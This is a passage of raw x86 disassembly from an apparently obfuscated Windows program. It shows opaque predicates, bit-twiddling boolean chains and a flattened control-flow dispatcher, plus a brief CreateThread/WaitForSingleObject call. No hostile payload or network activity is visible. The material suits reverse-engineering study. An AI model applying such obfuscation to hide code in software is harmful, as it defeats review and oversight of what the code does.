xor cl, 0xff
and cl, 1
mov bl, dl
xor bl, 1
mov bh, byte [ebp - 0x2b3]
and bh, bl
mov byte [ebp - 0x2b4], al
mov al, dl
xor al, 1
and al, 0xff
and bl, 1
or cl, bh
or al, bl
xor cl, al
mov al, dl
xor al, 1
and al, 1
mov bl, dl
xor bl, 1
mov bh, bl
and bh, 1
mov byte [ebp - 0x2b5], al
mov al, dl
xor al, 1
and al, 0xff
and bl, 1
mov byte [ebp - 0x2b6], al
mov al, byte [ebp - 0x2b5]
or al, bh
mov bh, byte [ebp - 0x2b6]
or bh, bl
xor al, bh
mov bl, byte [ebp - 0x2b4]
xor bl, 0xff
mov bh, cl
xor bh, 0xff
mov byte [ebp - 0x2b7], al
mov al, dl
xor al, 1
mov byte [ebp - 0x2b8], al
mov al, bl
and al, 0xff
mov byte [ebp - 0x2b9], al
mov al, byte [ebp - 0x2b4]
mov byte [ebp - 0x2ba], cl
mov cl, byte [ebp - 0x2b8]
and al, cl
mov cl, bh
and cl, 0xff
mov byte [ebp - 0x2bb], al
mov al, byte [ebp - 0x2ba]
mov byte [ebp - 0x2bc], cl
mov cl, byte [ebp - 0x2b8]
and al, cl
mov cl, byte [ebp - 0x2b9]
mov byte [ebp - 0x2bd], al
mov al, byte [ebp - 0x2bb]
or cl, al
mov al, byte [ebp - 0x2bc]
mov byte [ebp - 0x2be], cl
mov cl, byte [ebp - 0x2bd]
or al, cl
mov cl, byte [ebp - 0x2be]
xor cl, al
or bl, bh
xor bl, 0xff
mov al, byte [ebp - 0x2b8]
or al, 1
and bl, al
or cl, bl
mov al, dl
xor al, 1
mov bl, byte [ebp - 0x2b7]
xor bl, 0xff
mov bh, dl
xor bh, 1
mov byte [ebp - 0x2bf], al
and al, 0xff
mov byte [ebp - 0x2c0], al
mov al, bh
and al, 1
mov byte [ebp - 0x2c1], al
mov al, bl
and al, 0xff
mov byte [ebp - 0x2c2], al
mov al, byte [ebp - 0x2b7]
and al, bh
mov byte [ebp - 0x2c3], al
mov al, byte [ebp - 0x2c0]
mov byte [ebp - 0x2c4], cl
mov cl, byte [ebp - 0x2c1]
or al, cl
mov cl, byte [ebp - 0x2c2]
mov byte [ebp - 0x2c5], al
mov al, byte [ebp - 0x2c3]
or cl, al
mov al, byte [ebp - 0x2c5]
xor al, cl
mov cl, byte [ebp - 0x2bf]
or cl, bl
xor cl, 0xff
or bh, 1
and cl, bh
or al, cl
mov cl, byte [ebp - 0x2c4]
xor cl, 0xff
and cl, 0
mov bl, dl
xor bl, 0
mov bh, byte [ebp - 0x2c4]
and bh, bl
mov byte [ebp - 0x2c6], al
mov al, dl
xor al, 1
and al, 0
and bl, 1
or cl, bh
or al, bl
xor cl, al
mov al, byte [ebp - 0x2c6]
xor al, 0xff
mov bl, cl
xor bl, al
and bl, cl
mov al, ch
xor al, 0xff
and al, 1
mov cl, dl
xor cl, 1
mov bh, ch
and bh, cl
or al, bh
mov cl, ah
xor cl, 0xff
and cl, 1
mov bh, dl
xor bh, 1
mov byte [ebp - 0x2c7], al
mov al, ah
and al, bh
or cl, al
mov al, dl
xor al, 1
and al, 0
mov bh, dl
xor bh, 0
mov byte [ebp - 0x2c8], al
mov al, bh
and al, 1
mov byte [ebp - 0x2c9], al
mov al, dl
xor al, 1
and al, 0
and bh, 1
mov byte [ebp - 0x2ca], al
mov al, byte [ebp - 0x2c8]
mov byte [ebp - 0x2cb], cl
mov cl, byte [ebp - 0x2c9]
or al, cl
mov cl, byte [ebp - 0x2ca]
or cl, bh
xor al, cl
mov cl, dl
xor cl, 1
mov bh, byte [ebp - 0x2c7]
xor bh, cl
mov cl, byte [ebp - 0x2c7]
and bh, cl
xor ch, 0xff
mov cl, al
xor cl, 0xff
mov byte [ebp - 0x2cc], al
mov al, dl
xor al, 1
or ch, cl
or al, 1
xor ch, 0xff
and ch, al
mov al, dl
xor al, 1
mov cl, byte [ebp - 0x2cb]
xor cl, al
mov al, byte [ebp - 0x2cb]
and cl, al
xor ah, 0xff
mov al, byte [ebp - 0x2cc]
xor al, 0xff
mov byte [ebp - 0x2cd], al
mov al, dl
xor al, 1
mov byte [ebp - 0x2ce], al
mov al, byte [ebp - 0x2cd]
or ah, al
mov al, byte [ebp - 0x2ce]
or al, 1
xor ah, 0xff
and ah, al
mov al, bh
and al, ch
xor bh, ch
or al, bh
mov ch, cl
xor ch, 0xff
mov bh, ah
xor bh, 0xff
mov byte [ebp - 0x2cf], al
mov al, dl
xor al, 0
mov byte [ebp - 0x2d0], al
mov al, ch
and al, 0
mov byte [ebp - 0x2d1], al
mov al, byte [ebp - 0x2d0]
and cl, al
mov al, bh
and al, 0
mov byte [ebp - 0x2d2], al
mov al, byte [ebp - 0x2d0]
and ah, al
mov al, byte [ebp - 0x2d1]
or al, cl
mov cl, byte [ebp - 0x2d2]
or cl, ah
xor al, cl
or ch, bh
xor ch, 0xff
mov cl, byte [ebp - 0x2d0]
or cl, 0
and ch, cl
or al, ch
mov cl, byte [ebp - 0x2cf]
xor cl, 0xff
and cl, 1
mov ah, dl
xor ah, 1
mov ch, byte [ebp - 0x2cf]
and ch, ah
mov bh, al
xor bh, 0xff
and bh, 0xff
and al, ah
or cl, ch
or bh, al
xor cl, bh
mov al, byte [ebp - 0x2c7]
mov ah, byte [ebp - 0x2cb]
and al, ah
mov ch, byte [ebp - 0x2c7]
xor ch, ah
or al, ch
mov ch, al
xor ch, 0xff
and ch, 0
mov bh, dl
xor bh, 0
and al, bh
mov ah, dl
xor ah, 1
and ah, 0
and bh, 1
or ch, al
or ah, bh
xor ch, ah
mov al, dl
xor al, 1
mov ah, byte [ebp - 0x2cc]
xor ah, 0xff
mov bh, dl
xor bh, 0
mov byte [ebp - 0x2d3], al
and al, 0
mov byte [ebp - 0x2d4], al
mov al, bh
and al, 1
mov byte [ebp - 0x2d5], al
mov al, ah
and al, 0
mov byte [ebp - 0x2d6], al
mov al, byte [ebp - 0x2cc]
and al, bh
mov byte [ebp - 0x2d7], al
mov al, byte [ebp - 0x2d4]
mov byte [ebp - 0x2d8], cl
mov cl, byte [ebp - 0x2d5]
or al, cl
mov cl, byte [ebp - 0x2d6]
mov byte [ebp - 0x2d9], al
mov al, byte [ebp - 0x2d7]
or cl, al
mov al, byte [ebp - 0x2d9]
xor al, cl
mov cl, byte [ebp - 0x2d3]
or cl, ah
xor cl, 0xff
or bh, 0
and cl, bh
or al, cl
xor ch, 0xff
xor al, 0xff
mov cl, dl
xor cl, 0
or ch, al
or cl, 0
xor ch, 0xff
and ch, cl
mov al, byte [ebp - 0x2d8]
xor al, 0xff
mov cl, ch
xor cl, 0xff
mov ah, dl
xor ah, 1
mov bh, al
and bh, 0xff
mov byte [ebp - 0x2da], al
mov al, byte [ebp - 0x2d8]
and al, ah
mov byte [ebp - 0x2db], al
mov al, cl
and al, 0xff
and ch, ah
mov byte [ebp - 0x2dc], al
mov al, byte [ebp - 0x2db]
or bh, al
mov al, byte [ebp - 0x2dc]
or al, ch
xor bh, al
mov al, byte [ebp - 0x2da]
or al, cl
xor al, 0xff
or ah, 1
and al, ah
or bh, al
mov al, bl
xor al, 0xff
mov cl, dh
xor cl, al
and cl, dh
mov al, dh
xor al, 0xff
mov ah, bl
and ah, al
xor bl, 0xff
and dh, bl
or ah, dh
mov al, cl
xor al, 0xff
mov ch, ah
xor ch, 0xff
mov dh, dl
xor dh, 0
mov bl, al
and bl, 0
and cl, dh
mov byte [ebp - 0x2dd], al
mov al, ch
and al, 0
and ah, dh
or bl, cl
or al, ah
xor bl, al
mov al, byte [ebp - 0x2dd]
or al, ch
xor al, 0xff
or dh, 0
and al, dh
or bl, al
mov al, bh
xor al, 0xff
and al, 1
mov cl, dl
xor cl, 1
mov ah, bh
and ah, cl
or al, ah
mov cl, bl
xor cl, 0xff
xor al, 0xff
mov ah, dl
xor ah, 1
or cl, al
or ah, 1
xor cl, 0xff
and cl, ah
mov al, bl
xor al, 0xff
and al, 1
mov ah, dl
xor ah, 1
and bl, ah
mov ch, dl
xor ch, 1
and ch, 0xff
and ah, 1
or al, bl
or ch, ah
xor al, ch
xor bh, 0xff
xor al, 0xff
mov ah, dl
xor ah, 0
or bh, al
or ah, 0
xor bh, 0xff
and bh, ah
mov al, cl
and al, bh
xor cl, bh
or al, cl
mov cl, byte [ebp - 0x2af]
xor cl, 0xff
mov ah, byte [ebp - 0x2b0]
xor ah, 0xff
mov ch, dl
xor ch, 1
or cl, ah
or ch, 1
xor cl, 0xff
and cl, ch
mov ah, byte [ebp - 0x2af]
xor ah, 0xff
and ah, 1
mov ch, dl
xor ch, 1
mov dh, byte [ebp - 0x2af]
and dh, ch
mov bl, byte [ebp - 0x2b0]
xor bl, 0xff
and bl, 0xff
mov bh, byte [ebp - 0x2b0]
and bh, ch
or ah, dh
or bl, bh
xor ah, bl
mov ch, cl
and ch, ah
xor cl, ah
or ch, cl
mov cl, ch
xor cl, 0xff
and cl, 1
mov ah, dl
xor ah, 1
mov dh, ch
and dh, ah
mov bl, dl
xor bl, 1
and bl, 0xff
and ah, 1
or cl, dh
or bl, ah
xor cl, bl
xor cl, 0xff
xor cl, 1
and cl, 0xff
mov ah, dl
xor ah, 1
and ah, 1
mov dh, dl
xor dh, 1
mov bl, dh
and bl, 1
mov bh, dl
xor bh, 1
and bh, 0xff
and dh, 1
or ah, bl
or bh, dh
xor ah, bh
xor ch, 0xff
mov dh, ah
xor dh, 0xff
mov bl, dl
xor bl, 0
or ch, dh
or bl, 0
xor ch, 0xff
and ch, bl
mov dh, dl
xor dh, 1
and dh, 1
mov bl, dl
xor bl, 1
mov bh, bl
and bh, 1
mov byte [ebp - 0x2de], al
mov al, dl
xor al, 1
and al, 0xff
and bl, 1
or dh, bh
or al, bl
xor dh, al
xor dh, 0xff
mov al, dl
xor al, 1
mov bl, dl
xor bl, 0
or dh, al
or bl, 0
xor dh, 0xff
and dh, bl
mov al, dl
xor al, 1
xor ah, 0xff
mov bl, dl
xor bl, 1
or al, ah
or bl, 1
xor al, 0xff
and al, bl
mov ah, cl
xor ah, 0xff
mov bl, ch
xor bl, 0xff
mov bh, dl
xor bh, 1
mov byte [ebp - 0x2df], al
mov al, ah
and al, 0xff
and cl, bh
mov byte [ebp - 0x2e0], al
mov al, bl
and al, 0xff
and ch, bh
mov byte [ebp - 0x2e1], al
mov al, byte [ebp - 0x2e0]
or al, cl
mov cl, byte [ebp - 0x2e1]
or cl, ch
xor al, cl
or ah, bl
xor ah, 0xff
or bh, 1
and ah, bh
or al, ah
mov cl, dh
xor cl, 0xff
mov ah, byte [ebp - 0x2df]
xor ah, 0xff
mov ch, dl
xor ch, 0
mov bl, cl
and bl, 0
and dh, ch
mov bh, ah
and bh, 0
mov byte [ebp - 0x2e2], al
mov al, byte [ebp - 0x2df]
and al, ch
or bl, dh
or bh, al
xor bl, bh
or cl, ah
xor cl, 0xff
or ch, 0
and cl, ch
or bl, cl
mov al, byte [ebp - 0x2e2]
xor al, 0xff
mov cl, bl
and cl, al
xor bl, 0xff
mov al, byte [ebp - 0x2e2]
and al, bl
or cl, al
mov al, dl
xor al, 0
mov ah, byte [ebp - 0x2b3]
xor ah, 0xff
mov ch, dl
xor ch, 0
or al, ah
or ch, 0
xor al, 0xff
and al, ch
mov ah, dl
xor ah, 0
mov ch, byte [ebp - 0x2b3]
and ch, ah
mov ah, byte [ebp - 0x2b3]
xor ah, 0xff
and ah, 0
or ch, ah
mov ah, al
and ah, ch
xor al, ch
or ah, al
mov al, ah
xor al, 0xff
and al, 1
mov ch, dl
xor ch, 1
and ah, ch
or al, ah
mov ah, cl
xor ah, 0xff
and ah, 0
mov ch, dl
xor ch, 0
mov dh, cl
and dh, ch
mov bl, al
xor bl, 0xff
and bl, 0
and al, ch
or ah, dh
or bl, al
xor ah, bl
xor cl, 0xff
mov al, ah
xor al, cl
and al, ah
mov cl, byte [ebp - 0x2de]
xor cl, 0xff
and cl, 1
mov ah, dl
xor ah, 1
mov ch, byte [ebp - 0x2de]
and ch, ah
or cl, ch
mov ah, al
xor ah, 0xff
and ah, 1
mov ch, dl
xor ch, 1
mov dh, al
and dh, ch
or ah, dh
mov ch, dl
xor ch, 1
and ch, 1
mov dh, dl
xor dh, 1
and dh, 1
or ch, dh
mov dh, dl
xor dh, 1
mov bl, cl
xor bl, dh
and bl, cl
mov dh, byte [ebp - 0x2de]
xor dh, 0xff
mov bh, ch
xor bh, 0xff
mov byte [ebp - 0x2e3], al
mov al, dl
xor al, 0
or dh, bh
or al, 0
xor dh, 0xff
and dh, al
mov al, ah
xor al, 0xff
mov bh, dl
xor bh, 1
mov byte [ebp - 0x2e4], al
mov al, dl
xor al, 0
mov byte [ebp - 0x2e5], al
mov al, byte [ebp - 0x2e4]
or al, bh
mov bh, byte [ebp - 0x2e5]
or bh, 0
xor al, 0xff
and al, bh
mov bh, byte [ebp - 0x2e3]
xor bh, 0xff
mov byte [ebp - 0x2e6], al
mov al, ch
xor al, 0xff
mov byte [ebp - 0x2e7], al
mov al, dl
xor al, 0
mov byte [ebp - 0x2e8], al
mov al, byte [ebp - 0x2e7]
or bh, al
mov al, byte [ebp - 0x2e8]
or al, 0
xor bh, 0xff
and bh, al
mov al, bl
and al, dh
xor bl, dh
or al, bl
mov dh, byte [ebp - 0x2e6]
and dh, bh
mov bl, byte [ebp - 0x2e6]
xor bl, bh
or dh, bl
mov bl, al
xor bl, 0xff
mov bh, dh
and bh, bl
xor dh, 0xff
and al, dh
or bh, al
mov al, cl
and al, ah
xor cl, ah
or al, cl
mov cl, al
xor cl, 0xff
and cl, 1
mov ah, dl
xor ah, 1
and al, ah
mov dh, dl
xor dh, 1
and dh, 0xff
and ah, 1
or cl, al
or dh, ah
xor cl, dh
mov al, ch
and al, 1
xor ch, 1
or al, ch
xor cl, 0xff
xor al, 0xff
mov ah, dl
xor ah, 1
or cl, al
or ah, 1
xor cl, 0xff
and cl, ah
mov al, bh
xor al, 0xff
mov ah, cl
xor ah, 0xff
xor dl, 1
mov ch, al
and ch, 0xff
and bh, dl
mov dh, ah
and dh, 0xff
and cl, dl
or ch, bh
or dh, cl
xor ch, dh
or al, ah
xor al, 0xff
or dl, 1
and al, dl
or ch, al
test ch, 1
mov esi, dword [ebp - 0x290]
mov edi, dword [ebp - 0x2a4]
cmovne esi, edi
mov dword [ebp - 0x28], esi
jmp 0x5eb807
xor eax, eax
mov ecx, dword [ebp - 0x18]
mov ecx, dword [ecx]
sub esp, 0x18
mov dword [esp], 0
mov dword [esp + 4], 0
mov dword [esp + 8], ecx
mov dword [esp + 0xc], 0
mov dword [esp + 0x10], 0
mov dword [esp + 0x14], 0
mov dword [ebp - 0x2ec], eax
call sub.KERNEL32.dll_CreateThread
mov ecx, 0xffffffff
mov edx, dword [ebp - 0x14]
mov dword [edx], eax
mov eax, dword [ebp - 0x14]
mov eax, dword [eax]
sub esp, 8
mov dword [esp], eax
mov dword [esp + 4], 0xffffffff
mov dword [ebp - 0x2f0], ecx
call sub.KERNEL32.dll_WaitForSingleObject
mov ecx, 0x2b9fa71c
mov edx, 0xc90b1b0d
mov bl, 1
xor esi, esi
mov edi, dword [0x5f90ac]
mov dword [ebp - 0x2f4], eax
mov eax, dword [0x5f90a4]
mov dword [ebp - 0x2f8], eax
mov eax, edi
add eax, 0x402ddb61
sub eax, 0x5ab77a3c
sub eax, 0x402ddb61
add eax, 0xc15b4867
sub eax, 0x1700fbab
sub eax, 0xc15b4867
sub eax, 0xaf73dbba
add eax, 0x5ab77a3c
add eax, 0xaf73dbba
add eax, 0x6b4fec9a
add eax, 0x8495ed67
sub eax, 0x6b4fec9a
sub eax, 0xba97051a
sub eax, 1
add eax, 0xba97051a
mov dword [ebp - 0x2fc], eax
mov eax, esi
sub eax, 0x8495ed67
mov dword [ebp - 0x300], eax
mov eax, dword [ebp - 0x2fc]
mov dword [ebp - 0x304], ecx
mov ecx, dword [ebp - 0x300]
add eax, ecx
mov ecx, esi
sub ecx, eax
mov eax, esi
sub eax, 0x135641b6
add ecx, eax
sub esi, ecx
add esi, 0xb05dcf6a
add esi, 0x1700fbab
sub esi, 0xb05dcf6a
sub esi, 0x6df8879f
sub esi, 0x135641b6
add esi, 0x6df8879f
imul edi, esi
and edi, 1
cmp edi, 0
sete bh
mov eax, dword [ebp - 0x2f8]
cmp eax, 0xa
setl al
mov ah, al
xor ah, 0xff
and ah, 1
mov cl, bl
xor cl, 1
mov ch, al
and ch, cl
mov byte [ebp - 0x305], al
mov al, bl
xor al, 1
and al, 0xff
and cl, 1
or ah, ch
or al, cl
xor ah, al
mov al, bh
xor al, 0xff
mov cl, ah
and cl, al
xor ah, 0xff
mov al, bh
and al, ah
or cl, al
mov al, bh
xor al, 0xff
mov ah, cl
xor ah, al
and ah, cl
mov al, bh
xor al, 0xff
and al, 1
mov cl, bl
xor cl, 1
mov ch, bh
and ch, cl
or al, ch
xor al, 0xff
xor al, 1
and al, 0xff
mov cl, bl
xor cl, 1
and cl, 0
mov ch, bl
xor ch, 0
mov byte [ebp - 0x306], al
mov al, ch
and al, 1
mov byte [ebp - 0x307], al
mov al, bl
xor al, 1
and al, 0
and ch, 1
mov byte [ebp - 0x308], al
mov al, byte [ebp - 0x307]
or cl, al
mov al, byte [ebp - 0x308]
or al, ch
xor cl, al
mov al, cl
xor al, 0xff
mov ch, bh
xor ch, al
and ch, bh
mov al, byte [ebp - 0x305]
xor al, 0xff
and al, 1
mov bh, bl
xor bh, 1
mov byte [ebp - 0x309], al
mov al, byte [ebp - 0x305]
and al, bh
mov bh, byte [ebp - 0x309]
or bh, al
xor bh, 0xff
mov al, bl
xor al, 1
mov byte [ebp - 0x30a], al
mov al, bl
xor al, 0
mov byte [ebp - 0x30b], al
mov al, byte [ebp - 0x30a]
or bh, al
mov al, byte [ebp - 0x30b]
or al, 0
xor bh, 0xff
and bh, al
xor cl, 0xff
mov al, byte [ebp - 0x305]
xor al, cl
mov cl, byte [ebp - 0x305]
and al, cl
mov cl, byte [ebp - 0x306]
and cl, ch
mov byte [ebp - 0x30c], al
mov al, byte [ebp - 0x306]
xor al, ch
or cl, al
mov al, bh
mov ch, byte [ebp - 0x30c]
and al, ch
xor bh, ch
or al, bh
mov bh, cl
xor bh, 0xff
and bh, 1
mov ch, bl
xor ch, 1
and cl, ch
mov byte [ebp - 0x30d], al
xor al, 0xff
and al, 0xff
mov byte [ebp - 0x30e], al
mov al, byte [ebp - 0x30d]
and al, ch
or bh, cl
mov cl, byte [ebp - 0x30e]
or cl, al
xor bh, cl
mov al, ah
xor al, 0xff
mov cl, bh
xor cl, 0xff
mov ch, bl
xor ch, 1
or al, cl
or ch, 1
xor al, 0xff
and al, ch
mov cl, ah
xor cl, 0xff
and cl, 0
xor bl, 0
and ah, bl
mov ch, bh
xor ch, 0xff
and ch, 0
and bh, bl
or cl, ah
or ch, bh
xor cl, ch
mov ah, al
and ah, cl
xor al, cl
or ah, al
test ah, 1
mov esi, dword [ebp - 0x304]
cmovne esi, edx
mov dword [ebp - 0x28], esi
jmp 0x5eb807
mov dword [ebp - 0x28], 0x2842a84c
jmp 0x5eb807
mov eax, 0xaf01ef5
mov ecx, 0x2f0875d8
mov dl, 1
xor esi, esi
mov edi, 0x97d70fc3
mov ebx, dword [0x5f90ac]
mov dword [ebp - 0x314], eax
mov eax, dword [0x5f90a4]
mov dword [ebp - 0x318], eax
mov eax, ebx
sub eax, 0x5bb8b53f
sub eax, 0xa79dc4f4
add eax, 0x5bb8b53f
add eax, 0x13c0091a
sub eax, 0xb809e91b
sub eax, 0x13c0091a
mov dword [ebp - 0x31c], eax
mov eax, esi
mov dword [ebp - 0x320], ecx
mov ecx, dword [ebp - 0x31c]
sub eax, ecx
mov ecx, esi
sub ecx, 0xa79dc4f4
add eax, ecx
mov ecx, esi
sub ecx, eax
mov eax, esi
sub eax, 0x546e9d33
add ecx, eax
sub ecx, 0xe99b885c
sub ecx, 1
add ecx, 0xe99b885c
add ecx, 0xfbe977d9
add ecx, 0x546e9d33
sub ecx, 0xfbe977d9
add edi, 0
sub edi, 0xb809e91b
sub edi, 0x97d70fc3
sub esi, edi
add ecx, esi
imul ebx, ecx
and ebx, 1
cmp ebx, 0
sete dh
mov eax, dword [ebp - 0x318]
cmp eax, 0xa
setl al
mov ah, al
xor ah, 0xff
and ah, 1
mov cl, dl
xor cl, 1
mov ch, al
and ch, cl
or ah, ch
mov cl, dh
xor cl, 0xff
and cl, 0
mov ch, dl
xor ch, 0
mov bl, dh
and bl, ch
mov bh, ah
xor bh, 0xff
and bh, 0
and ah, ch
or cl, bl
or bh, ah
xor cl, bh
mov ah, dh
xor ah, 0xff
mov ch, cl
xor ch, ah
and ch, cl
mov cl, dh
xor cl, 0xff
and cl, 0
mov ah, dl
xor ah, 0
mov bl, dh
and bl, ah
mov bh, dl
xor bh, 1
and bh, 0
and ah, 1
or cl, bl
or bh, ah
xor cl, bh
xor cl, 0xff
mov ah, al
xor ah, cl
and ah, al
mov cl, al
xor cl, 0xff
and cl, 1
mov bl, dl
xor bl, 1
and al, bl
or cl, al
xor cl, 0xff
mov al, dh
xor al, cl
and al, dh
mov cl, ah
and cl, al
xor ah, al
or cl, ah
mov al, ch
xor al, 0xff
and al, 1
mov ah, dl
xor ah, 1
mov dh, ch
and dh, ah
mov bl, dl
xor bl, 1
and bl, 0xff
and ah, 1
or al, dh
or bl, ah
xor al, bl
mov ah, cl
xor ah, 0xff
and ah, 0
mov dh, dl
xor dh, 0
mov bl, cl
and bl, dh
mov bh, dl
xor bh, 1
and bh, 0
and dh, 1
or ah, bl
or bh, dh
xor ah, bh
mov dh, dl
xor dh, 1
and dh, 1
mov bl, dl
xor bl, 1
mov bh, bl
and bh, 1
mov byte [ebp - 0x321], al
mov al, dl
xor al, 1
and al, 0xff
and bl, 1
or dh, bh
or al, bl
xor dh, al
mov al, byte [ebp - 0x321]
xor al, 0xff
mov bl, dl
xor bl, 1
mov bh, dl
xor bh, 1
or al, bl
or bh, 1
xor al, 0xff
and al, bh
mov bl, dh
xor bl, 0xff
mov bh, ch
xor bh, bl
and bh, ch
mov ch, dl
xor ch, 1
mov bl, ah
xor bl, ch
and bl, ah
xor cl, 0xff
mov ch, dh
xor ch, 0xff
mov byte [ebp - 0x322], al
mov al, dl
xor al, 1
or cl, ch
or al, 1
xor cl, 0xff
and cl, al
mov al, byte [ebp - 0x322]
xor al, 0xff
mov ch, bh
xor ch, 0xff
mov byte [ebp - 0x323], al
mov al, dl
xor al, 0
mov byte [ebp - 0x324], al
mov al, byte [ebp - 0x323]
and al, 0
mov byte [ebp - 0x325], al
mov al, byte [ebp - 0x322]
mov byte [ebp - 0x326], cl
mov cl, byte [ebp - 0x324]
and al, cl
mov cl, ch
and cl, 0
mov byte [ebp - 0x327], al
mov al, byte [ebp - 0x324]
and bh, al
mov al, byte [ebp - 0x325]
mov byte [ebp - 0x328], cl
mov cl, byte [ebp - 0x327]
or al, cl
mov cl, byte [ebp - 0x328]
or cl, bh
xor al, cl
mov cl, byte [ebp - 0x323]
or cl, ch
xor cl, 0xff
mov ch, byte [ebp - 0x324]
or ch, 0
and cl, ch
or al, cl
mov cl, bl
xor cl, 0xff
mov ch, byte [ebp - 0x326]
xor ch, 0xff
mov bh, dl
xor bh, 0
mov byte [ebp - 0x329], al
mov al, cl
and al, 0
and bl, bh
mov byte [ebp - 0x32a], al
mov al, ch
and al, 0
mov byte [ebp - 0x32b], al
mov al, byte [ebp - 0x326]
and al, bh
mov byte [ebp - 0x32c], al
mov al, byte [ebp - 0x32a]
or al, bl
mov bl, byte [ebp - 0x32b]
mov byte [ebp - 0x32d], al
mov al, byte [ebp - 0x32c]
or bl, al
mov al, byte [ebp - 0x32d]
xor al, bl
or cl, ch
xor cl, 0xff
or bh, 0
and cl, bh
or al, cl
mov cl, byte [ebp - 0x329]
xor cl, 0xff
mov ch, al
and ch, cl
xor al, 0xff
mov cl, byte [ebp - 0x329]
and cl, al
or ch, cl
mov al, byte [ebp - 0x321]
xor al, 0xff
mov cl, ah
xor cl, 0xff
mov bl, dl
xor bl, 0
mov bh, al
and bh, 0
mov byte [ebp - 0x32e], al
mov al, byte [ebp - 0x321]
and al, bl
mov byte [ebp - 0x32f], al
mov al, cl
and al, 0
and ah, bl
mov byte [ebp - 0x330], al
mov al, byte [ebp - 0x32f]
or bh, al
mov al, byte [ebp - 0x330]
or al, ah
xor bh, al
mov al, byte [ebp - 0x32e]
or al, cl
xor al, 0xff
or bl, 0
and al, bl
or bh, al
mov al, bh
xor al, 0xff
and al, 1
mov cl, dl
xor cl, 1
and bh, cl
mov ah, dl
xor ah, 1
and ah, 0xff
and cl, 1
or al, bh
or ah, cl
xor al, ah
mov cl, dl
xor cl, 1
mov ah, dh
xor ah, 0xff
mov bl, dl
xor bl, 0
mov bh, cl
and bh, 0
mov byte [ebp - 0x331], al
mov al, bl
and al, 1
mov byte [ebp - 0x332], al
mov al, ah
and al, 0
and dh, bl
mov byte [ebp - 0x333], al
mov al, byte [ebp - 0x332]
or bh, al
mov al, byte [ebp - 0x333]
or al, dh
xor bh, al
or cl, ah
xor cl, 0xff
or bl, 0
and cl, bl
or bh, cl
mov al, byte [ebp - 0x331]
xor al, 0xff
xor bh, 0xff
mov cl, dl
xor cl, 0
or al, bh
or cl, 0
xor al, 0xff
and al, cl
mov cl, ch
xor cl, 0xff
mov ah, al
xor ah, 0xff
xor dl, 1
mov dh, cl
and dh, 0xff
and ch, dl
mov bl, ah
and bl, 0xff
and al, dl
or dh, ch
or bl, al
xor dh, bl
or cl, ah
xor cl, 0xff
or dl, 1
and cl, dl
or dh, cl
test dh, 1
mov esi, dword [ebp - 0x314]
mov edi, dword [ebp - 0x320]
cmovne esi, edi
mov dword [ebp - 0x28], esi
jmp 0x5eb807
mov eax, 0xaf01ef5
mov ecx, 0xb227519b
mov dl, 1
xor esi, esi
mov edi, 0x67f3d216
mov ebx, dword [0x5f90ac]
mov dword [ebp - 0x338], eax
mov eax, dword [0x5f90a4]
mov dword [ebp - 0x33c], eax
mov eax, esi
sub eax, 0xeabd3cbc
mov dword [ebp - 0x340], eax
mov eax, ebx
mov dword [ebp - 0x344], ecx
mov ecx, dword [ebp - 0x340]
add eax, ecx
sub eax, 0x39b9e393
sub eax, 0x4ba7f417
add eax, 0x39b9e393
mov ecx, esi
sub ecx, eax
mov eax, esi
sub eax, 0xeabd3cbc
add ecx, eax
mov eax, esi
sub eax, ecx
mov ecx, esi
sub ecx, 0xbae59c2d
sub eax, ecx
sub eax, 0x93ffbd3d
sub eax, 1
add eax, 0x93ffbd3d
add eax, 0xf3b7bde1
sub eax, 0xbae59c2d
sub eax, 0xf3b7bde1
add edi, 0
sub edi, 0x4ba7f417
sub edi, 0x67f3d216
sub esi, edi
add eax, esi
imul ebx, eax
and ebx, 1
cmp ebx, 0
sete dh
mov eax, dword [ebp - 0x33c]
cmp eax, 0xa
setl al
mov ah, dh
xor ah, 0xff
and ah, 1
mov cl, dl
xor cl, 1
mov ch, dh
and ch, cl
or ah, ch
mov cl, dl
xor cl, 1
xor ah, 0xff
mov ch, dl
xor ch, 0
or cl, ah
or ch, 0
xor cl, 0xff
and cl, ch
mov ah, dl
xor ah, 1
and ah, 1
mov ch, dl
xor ch, 1
and ch, 1
or ah, ch
xor ah, 0xff
mov ch, dh
xor ch, ah
and ch, dh
mov ah, cl
and ah, ch
xor cl, ch
or ah, cl
mov cl, al
xor cl, 0xff
and cl, 1
mov ch, dl
xor ch, 1
mov bl, al
and bl, ch
or cl, bl
mov ch, dl
xor ch, 1
xor cl, 0xff
mov bl, dl
xor bl, 1
or ch, cl
or bl, 1
xor ch, 0xff
and ch, bl
mov cl, dl
xor cl, 1
and cl, 0
mov bl, dl
xor bl, 0
mov bh, bl
and bh, 1
mov byte [ebp - 0x345], al
mov al, dl
xor al, 1
and al, 0
and bl, 1
or cl, bh
or al, bl
xor cl, al
mov al, cl
xor al, 0xff
mov bl, byte [ebp - 0x345]
xor bl, al
mov al, byte [ebp - 0x345]
and bl, al
mov bh, dl
xor bh, 1
and bh, 1
mov al, dl
xor al, 1
and al, 1
or bh, al
xor bh, 0xff
mov al, dl
xor al, 1
mov byte [ebp - 0x346], al
mov al, dl
xor al, 0
mov byte [ebp - 0x347], al
mov al, byte [ebp - 0x346]
or bh, al
mov al, byte [ebp - 0x347]
or al, 0
xor bh, 0xff
and bh, al
mov al, dl
xor al, 1
xor cl, 0xff
mov byte [ebp - 0x348], al
mov al, dl
xor al, 0
mov byte [ebp - 0x349], al
mov al, byte [ebp - 0x348]
or al, cl
mov cl, byte [ebp - 0x349]
or cl, 0
xor al, 0xff
and al, cl
mov cl, ch
and cl, bl
xor ch, bl
or cl, ch
mov ch, bh
and ch, al
xor bh, al
or ch, bh
mov al, cl
xor al, 0xff
and al, 0
mov bl, dl
xor bl, 0
and cl, bl
mov bh, ch
xor bh, 0xff
and bh, 0
and ch, bl
or al, cl
or bh, ch
xor al, bh
mov cl, dl
xor cl, 0
and cl, 1
mov ch, dl
xor ch, 1
and ch, 0
or cl, ch
xor cl, 0xff
xor cl, 1
and cl, 0xff
mov ch, dl
xor ch, 1
and ch, 1
mov bl, dl
xor bl, 1
mov bh, bl
and bh, 1
mov byte [ebp - 0x34a], al
mov al, dl
xor al, 1
and al, 0xff
and bl, 1
or ch, bh
or al, bl
xor ch, al
mov al, dl
xor al, 0
mov bl, ch
xor bl, 0xff
mov bh, dl
xor bh, 1
or al, bl
or bh, 1
xor al, 0xff
and al, bh
mov bl, dl
xor bl, 1
and bl, 1
mov bh, dl
xor bh, 1
mov byte [ebp - 0x34b], al
mov al, bh
and al, 1
mov byte [ebp - 0x34c], al
mov al, dl
xor al, 1
and al, 0xff
and bh, 1
